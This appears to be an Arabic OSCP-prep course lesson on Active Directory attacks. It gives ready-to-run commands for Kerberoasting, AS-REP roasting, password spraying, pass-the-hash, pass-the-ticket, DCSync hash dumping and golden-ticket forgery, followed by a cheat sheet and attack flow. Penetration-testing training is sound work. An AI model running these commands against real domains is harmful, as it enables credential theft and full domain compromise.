الدرس 22 من 24

Active Directory ومحاكاة الاختبار

هجمات Active Directory

5 دقيقة للقراءة

هجمات AD حاسمة لـ OSCP. مجموعة AD يمكن أن تساوي حتى 40 نقطة. أتقن هذه التقنيات لتعظيم درجتك في الاختبار.

Kerberoasting

Kerberoasting يستخرج تذاكر TGS لحسابات الخدمة التي يمكن كسرها بدون اتصال.

كيف يعمل

تدفق Kerberoasting:
1. المستخدم يطلب TGS للخدمة (SPN)
2. DC يُرجع TGS مشفر بتجزئة حساب الخدمة
3. المهاجم يستخرج ويكسر التجزئة بدون اتصال
4. الحصول على وصول كحساب الخدمة

استخدام Impacket (Linux)

# طلب TGS لجميع SPNs
GetUserSPNs.py corp.local/user:password -dc-ip $DC -request

# الإخراج لملف
GetUserSPNs.py corp.local/user:password -dc-ip $DC -request -outputfile hashes.txt

# الكسر بـ hashcat (الوضع 13100)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

استخدام Rubeus (Windows)

# Kerberoast جميع المستخدمين
.\Rubeus.exe kerberoast /outfile:hashes.txt

# استهداف مستخدم محدد
.\Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt

# الكسر بـ hashcat
hashcat -m 13100 hashes.txt rockyou.txt

استخدام PowerView

# طلب تذاكر TGS
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File hashes.txt

AS-REP Roasting

يستهدف الحسابات مع تمكين "لا يتطلب مصادقة Kerberos المسبقة".

إيجاد الحسابات الضعيفة

# من Linux - الفحص بدون بيانات اعتماد
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip $DC -format hashcat

# مع بيانات اعتماد - إيجاد جميع الضعفاء
GetNPUsers.py corp.local/user:password -dc-ip $DC -request

من Windows

# استخدام Rubeus
.\Rubeus.exe asreproast /outfile:asrep.txt

# استخدام PowerView
Get-DomainUser -PreauthNotRequired

كسر تجزئات AS-REP

# وضع Hashcat 18200
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

رش كلمة المرور

اختبار كلمة مرور واحدة ضد حسابات كثيرة لتجنب القفل.

استخدام CrackMapExec

# رش كلمة مرور واحدة
crackmapexec smb $DC -u users.txt -p 'Password123' --continue-on-success

# فحص الحسابات الصالحة
crackmapexec smb $DC -u users.txt -p 'Summer2024!' --continue-on-success

استخدام Kerbrute

# رش كلمة المرور عبر Kerberos
kerbrute passwordspray -d corp.local --dc $DC users.txt 'Password123'

استراتيجية الرش

نصائح لرش كلمة المرور:
├── تحقق من سياسة كلمة المرور أولاً (عتبة القفل)
├── انتظر بين المحاولات (تجنب القفل)
├── جرب كلمات المرور الموسمية (Summer2024، Winter2024!)
├── جرب تنويعات اسم الشركة
└── جرب أنماط لوحة المفاتيح (Qwerty123!)

تمرير التجزئة (PtH)

استخدام تجزئات NTLM بدون كسرها.

استخدام Impacket

# تنفيذ WMI
wmiexec.py -hashes :NTHASH corp.local/administrator@$TARGET

# PSExec
psexec.py -hashes :NTHASH corp.local/administrator@$TARGET

# SMBExec
smbexec.py -hashes :NTHASH corp.local/administrator@$TARGET

استخدام CrackMapExec

# تنفيذ أمر مع التجزئة
crackmapexec smb $TARGET -u administrator -H NTHASH -x "whoami"

# فحص وصول admin عبر الشبكة
crackmapexec smb $NETWORK/24 -u administrator -H NTHASH

استخدام Evil-WinRM

# الاتصال بالتجزئة
evil-winrm -i $TARGET -u administrator -H NTHASH

تمرير التذكرة (PtT)

استخدام تذاكر Kerberos المسروقة للمصادقة.

تصدير التذاكر (Windows)

# استخدام Rubeus
.\Rubeus.exe dump /nowrap

# استخدام Mimikatz
mimikatz# sekurlsa::tickets /export

استيراد واستخدام التذاكر

# Rubeus تمرير التذكرة
.\Rubeus.exe ptt /ticket:BASE64_TICKET

# Mimikatz
mimikatz# kerberos::ptt ticket.kirbi

# التحقق
klist

من Linux

# تحويل صيغة التذكرة
ticketConverter.py ticket.kirbi ticket.ccache

# الاستخدام مع Impacket
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass corp.local/user@$TARGET

هجوم DCSync

استخراج تجزئات كلمة المرور مباشرة من وحدة تحكم النطاق (يتطلب DA أو صلاحيات محددة).

استخدام Mimikatz

# تفريغ جميع التجزئات
mimikatz# lsadump::dcsync /domain:corp.local /all /csv

# تفريغ مستخدم محدد
mimikatz# lsadump::dcsync /domain:corp.local /user:administrator

استخدام Impacket

# Secretsdump مع بيانات DA
secretsdump.py corp.local/administrator:password@$DC

# مع التجزئة
secretsdump.py -hashes :NTHASH corp.local/administrator@$DC

هجوم التذكرة الذهبية

تزوير TGT باستخدام تجزئة krbtgt للوصول الدائم للنطاق.

المتطلبات

متطلبات التذكرة الذهبية:
├── تجزئة NTLM لـ krbtgt (من DCSync)
├── SID النطاق
├── اسم النطاق
└── المستخدم للانتحال (عادة Administrator)

إنشاء التذكرة الذهبية

# Mimikatz
mimikatz# kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt
# من Linux مع ticketer.py
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local Administrator

# استخدام التذكرة
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@$DC

ورقة غش هجمات AD

الهجوم متى تستخدم الأداة
Kerberoasting لديك مستخدم نطاق GetUserSPNs.py
AS-REP Roast مستخدمون بدون preauth GetNPUsers.py
رش كلمة المرور أسماء مستخدمين صالحة CrackMapExec
تمرير التجزئة لديك تجزئة NTLM wmiexec.py
DCSync لديك صلاحيات DA secretsdump.py
التذكرة الذهبية لديك تجزئة krbtgt ticketer.py

تدفق هجوم AD لـ OSCP

منهجية هجوم AD:
1. استطلاع المستخدمين والمجموعات و SPNs
   └── BloodHound، PowerView، ldapsearch

2. Kerberoast/AS-REP Roast
   └── كسر التجزئات، الحصول على بيانات الاعتماد

3. رش كلمة المرور إذا لزم
   └── CrackMapExec، kerbrute

4. الحركة الجانبية مع بيانات الاعتماد/التجزئات
   └── PtH، PtT، evil-winrm

5. التصعيد لمسؤول النطاق
   └── DCSync للثبات

6. اختراق وحدة تحكم النطاق
   └── التذكرة الذهبية إذا لزم

في الدرس التالي، سنغطي تقنيات الحركة الجانبية للتنقل في بيئة AD. :::

اختبار

الوحدة 6: Active Directory ومحاكاة الاختبار

خذ الاختبار
نشرة أسبوعية مجانية

ابقَ على مسار النيرد

بريد واحد أسبوعياً — دورات، مقالات معمّقة، أدوات، وتجارب ذكاء اصطناعي.

بدون إزعاج. إلغاء الاشتراك في أي وقت.